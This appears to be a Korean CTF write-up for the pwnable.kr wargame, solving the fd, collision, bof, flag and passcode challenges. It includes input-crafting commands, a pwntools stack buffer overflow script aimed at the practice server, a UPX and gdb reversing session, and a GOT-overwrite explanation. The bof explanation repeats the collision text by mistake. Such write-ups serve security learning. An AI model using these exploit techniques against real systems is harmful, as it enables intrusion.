[pwnale.kr] write-ups

fd

풀이 : fd, file descriptor에 대해 묻는 문제 , fd는 0(stdin), 1(stdout), 2(stderr)가 있다. fd 값을 0으로 만들어준다

int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);

if(!strcmp("LETMEWIN\n", buf))
{
	printf("good job :)\n");
	system("/bin/cat flag");
	exit(0);
}

0x1234 -> 4660

# ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

FLAG : mommy!-----------------------------------------!!

collision

풀이 : argv[1]은 20 bytes여야 하고 전체 string을 5등분하여 합한 값이 0x21DD09EC이면 된다

0x21DD09EC / 5 = 0x06C5CEC8 * 4 + 0x06C5CECC

./col $(python -c 'print("\xc8\xce\xc5\x06"*4+"\xcc\xce\xc5\x06")')

FLAG : daddy!-------------------------------------------:)

bof

풀이 : argv[1]은 20 bytes여야 하고 전체 string을 5등분하여 합한 값이 0x21DD09EC이면 된

'''
buf_start_addr = 0xffffd4bc

payload = "A"*44
payload += "B"*4
payload += "C"*4
payload += "\xbe\xba\xfe\xca"
'''

from pwn import *

# setting
SERVER = "pwnable.kr"
PORT = 9000
FILENAME = "bof"
context.log_level = "debug"

p = remote(SERVER, PORT)

PAYLOAD = "A"*44
PAYLOAD += "B"*4
PAYLOAD += "C"*4
PAYLOAD += "\xbe\xba\xfe\xca"

p.send(PAYLOAD)
p.interactive()

FLAG : daddy,-----------------------:)

flag

풀이 : 주어진 바이너리 파일을 리버싱하는 문제이다. packing 되어 있으므로 upx로 풀어주고, gdb로 분석해보면 flag 값 찾을 수 있다

# 03flag upx -d flag
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    883745 <-    335288   37.94%   linux/amd64   flag

Unpacked 1 file.

pwndbg> disassemble main
Dump of assembler code for function main:
   0x0000000000401164 <+0>:	push   rbp
   0x0000000000401165 <+1>:	mov    rbp,rsp
   0x0000000000401168 <+4>:	sub    rsp,0x10
   0x000000000040116c <+8>:	mov    edi,0x496658
   0x0000000000401171 <+13>:	call   0x402080 <puts>
   0x0000000000401176 <+18>:	mov    edi,0x64
   0x000000000040117b <+23>:	call   0x4099d0 <malloc>
   0x0000000000401180 <+28>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401184 <+32>:	mov    rdx,QWORD PTR [rip+0x2c0ee5]        # 0x6c2070 <flag>
   0x000000000040118b <+39>:	mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040118f <+43>:	mov    rsi,rdx
   0x0000000000401192 <+46>:	mov    rdi,rax
   0x0000000000401195 <+49>:	call   0x400320
   0x000000000040119a <+54>:	mov    eax,0x0
   0x000000000040119f <+59>:	leave
   0x00000000004011a0 <+60>:	ret
End of assembler dump.
pwndbg> b *main+32

pwndbg> ni
0x000000000040118b in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────
 RAX  0x6c96b0 ◂— 0x0
 RBX  0x401ae0 (__libc_csu_fini) ◂— push   rbx
 RCX  0x8
*RDX  0x496628 ◂— push   rbp /* 'UPX...? sounds like a delivery service :)' */
 RDI  0x4
 RSI  0x0
 R8   0x1
 R9   0x3
 R10  0x22
 R11  0x0
 R12  0x401a50 (__libc_csu_init) ◂— push   r14
 R13  0x0
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe3e0 ◂— 0x0
 RSP  0x7fffffffe3d0 —▸ 0x401a50 (__libc_csu_init) ◂— push   r14
*RIP  0x40118b (main+39) ◂— mov    rax, qword ptr [rbp - 8]
─────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────
   0x401184 <main+32>    mov    rdx, qword ptr [rip + 0x2c0ee5] <0x6c2070>
 ► 0x40118b <main+39>    mov    rax, qword ptr [rbp - 8]
   0x40118f <main+43>    mov    rsi, rdx
   0x401192 <main+46>    mov    rdi, rax
   0x401195 <main+49>    call   0x400320                      <0x400320>

   0x40119a <main+54>    mov    eax, 0
   0x40119f <main+59>    leave
   0x4011a0 <main+60>    ret

   0x4011a1              nop
   0x4011a2              nop
   0x4011a3              nop
──────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe3d0 —▸ 0x401a50 (__libc_csu_init) ◂— push   r14
01:0008│     0x7fffffffe3d8 —▸ 0x6c96b0 ◂— 0x0
02:0010│ rbp 0x7fffffffe3e0 ◂— 0x0
03:0018│     0x7fffffffe3e8 —▸ 0x401344 (__libc_start_main+404) ◂— mov    edi, eax
04:0020│     0x7fffffffe3f0 ◂— 0x0
05:0028│     0x7fffffffe3f8 ◂— 0x100000000
06:0030│     0x7fffffffe400 —▸ 0x7fffffffe4d8 —▸ 0x7fffffffe720 ◂— '/root/WARGAMEs/pwnale.kr/03flag/flag'
07:0038│     0x7fffffffe408 —▸ 0x401164 (main) ◂— push   rbp
────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────
 ► f 0         0x40118b main+39
   f 1         0x401344 __libc_start_main+404
   f 2         0x401081 _start+41
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

FLAG : UPX...?--------------------------------:)

passcode

풀이 : main() 의 흐름을 보면 welcome()이 먼저 호출되고 login()이 호출된다. welcome 의 name에서 overflow가 발생하여 passcode1의 값을 변경할 수 있으므로, fflush의 got으로 변경한 뒤 passcode1에 값을 입력할 때, system("/bin/cat flag");의 주소를 주어 흐름 변경이 가능하다.